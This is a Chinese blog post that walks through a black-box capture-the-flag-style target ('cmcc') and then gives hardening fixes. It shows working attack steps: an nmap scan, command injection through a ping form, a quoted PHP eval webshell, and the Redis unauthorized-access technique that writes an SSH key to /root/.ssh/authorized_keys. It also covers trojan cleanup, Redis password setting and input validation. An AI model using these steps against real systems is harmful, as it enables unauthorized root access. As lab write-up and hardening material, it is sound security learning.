黑盒测试靶机(cmcc)以及对应系统加固方案

2023-10-24 12:11

本文主要是介绍黑盒测试靶机(cmcc)以及对应系统加固方案,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、信息收集

二、进入web界面

三、redis  6379连接。

 四、连接蚁剑成功。

这是个沙箱。

 五、redis入手,使用密钥连接

六、尝试docker越狱

七、针对docker进行入侵排查

从系统层面

1、检查进程

2、木马样本可以保留样本后删除,兵结束进程

 3、检查开机启动项目

4、检查计划任务

 应用层面

1、reris未授权远程访问

2、web服务中存在的命令注入


一、信息收集

nmap -Pn -A 192.168.12.153  -p 1-20000      #获取目标主机大概信息

22            #端口可疑尝试爆破

80         #web服务

6379        #redis服务尝试连接 

上面两个比较熟悉(柿子要找软的捏)

20000      #端口就比较不熟悉  

二、进入web界面

问题:

        1、Ping命令中执行其他命令(靶场都很常见)

        2、这里的用户为www-data,但是可以执行find  cat 等命令来获取信息

        3、可以使用  ls  查看当前文件目录存在phpinfo.php在该文件目录下

        4、还有危险文件hack.php:   <?php eval($_POST['1']) ;?>  现成的一句话木马文件。

三、使用蚁剑连接。

到这里那么恭喜你,成功进入坑里。

这是个沙箱。只不过当前用户是  www-data没有root权限

五、redis入手,使用密钥连接

这里从  ps aux  也可以看到,redis也是docker里面的服务

 #制作这个密钥相当于只是进行提权

cd /root/.ssh  

ssh-keygen  #生成密钥

cd /root/.ssh   #进入到生成的密钥的界面

touch pass.txt  #生成一个文件存储密钥

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > pass.txt  #把密钥写入文件中

cat pass.txt| redis-cli -h 192.168.12.153 -x set crack  #密钥赋值

#利用redis来上传密钥

192.168.12.153:6379> config set dir /root/.ssh
192.168.12.153:6379> config  set dbfilename authorized_keys   
192.168.12.153:6379> save

通过ssh指定密钥文件进行远程连接

 成功成为了 !!!!!!!!!

docker的root

六、尝试docker越狱(You Can You UP!)

1、确认docker信息

ls -alh /.dockerenv

未果。

七、针对docker进行入侵排查

从系统层面

1、检查进程

top    #从这里可以看到这是一个木马进程

 find / -name  trojan               #查看木马文件位置

2、木马样本可以保留样本后删除,并结束进程

kill 60 72 && rm -rf /user/share/trojan/

 3、检查开机启动项目

cat /etc/rc.local      #查看本地开机启动项

4、检查计划任务

crontab -l        #检查计划任务 

 应用层面

1、reris未授权远程访问

修复方案:

①设置复杂的访问密码:  config set requirepass $%_+V#!F$##$DSad

②修改配置文件    vi ../../redis.conf  文件配置密码

2、web服务中存在的命令注入

可以使用cat  find 等命令进行敏感文件读取。

修复方案:

①使用正则去严格匹配IP的格式。凡是不是IP的直接drop

这篇关于黑盒测试靶机(cmcc)以及对应系统加固方案的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/275080

相关文章

Python FastAPI+Celery+RabbitMQ实现分布式图片水印处理系统

《PythonFastAPI+Celery+RabbitMQ实现分布式图片水印处理系统》这篇文章主要为大家详细介绍了PythonFastAPI如何结合Celery以及RabbitMQ实现简单的分布式... 实现思路FastAPI 服务器Celery 任务队列RabbitMQ 作为消息代理定时任务处理完整

Linux系统中卸载与安装JDK的详细教程

《Linux系统中卸载与安装JDK的详细教程》本文详细介绍了如何在Linux系统中通过Xshell和Xftp工具连接与传输文件,然后进行JDK的安装与卸载,安装步骤包括连接Linux、传输JDK安装包... 目录1、卸载1.1 linux删除自带的JDK1.2 Linux上卸载自己安装的JDK2、安装2.1

Java进行文件格式校验的方案详解

《Java进行文件格式校验的方案详解》这篇文章主要为大家详细介绍了Java中进行文件格式校验的相关方案,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、背景异常现象原因排查用户的无心之过二、解决方案Magandroidic Number判断主流检测库对比Tika的使用区分zip

IDEA中Git版本回退的两种实现方案

《IDEA中Git版本回退的两种实现方案》作为开发者,代码版本回退是日常高频操作,IntelliJIDEA集成了强大的Git工具链,但面对reset和revert两种核心回退方案,许多开发者仍存在选择... 目录一、版本回退前置知识二、Reset方案:整体改写历史1、IDEA图形化操作(推荐)1.1、查看提

Linux系统之主机网络配置方式

《Linux系统之主机网络配置方式》:本文主要介绍Linux系统之主机网络配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、查看主机的网络参数1、查看主机名2、查看IP地址3、查看网关4、查看DNS二、配置网卡1、修改网卡配置文件2、nmcli工具【通用

Linux系统之dns域名解析全过程

《Linux系统之dns域名解析全过程》:本文主要介绍Linux系统之dns域名解析全过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、dns域名解析介绍1、DNS核心概念1.1 区域 zone1.2 记录 record二、DNS服务的配置1、正向解析的配置

Python实现html转png的完美方案介绍

《Python实现html转png的完美方案介绍》这篇文章主要为大家详细介绍了如何使用Python实现html转png功能,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 1.增强稳定性与错误处理建议使用三层异常捕获结构:try: with sync_playwright(

Java使用多线程处理未知任务数的方案介绍

《Java使用多线程处理未知任务数的方案介绍》这篇文章主要为大家详细介绍了Java如何使用多线程实现处理未知任务数,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 知道任务个数,你可以定义好线程数规则,生成线程数去跑代码说明:1.虚拟线程池:使用 Executors.newVir

MySQL中闪回功能的方案讨论及实现

《MySQL中闪回功能的方案讨论及实现》Oracle有一个闪回(flashback)功能,能够用户恢复误操作的数据,这篇文章主要来和大家讨论一下MySQL中支持闪回功能的方案,有需要的可以了解下... 目录1、 闪回的目标2、 无米无炊一3、 无米无炊二4、 演示5、小结oracle有一个闪回(flashb

Android App安装列表获取方法(实践方案)

《AndroidApp安装列表获取方法(实践方案)》文章介绍了Android11及以上版本获取应用列表的方案调整,包括权限配置、白名单配置和action配置三种方式,并提供了相应的Java和Kotl... 目录前言实现方案         方案概述一、 androidManifest 三种配置方式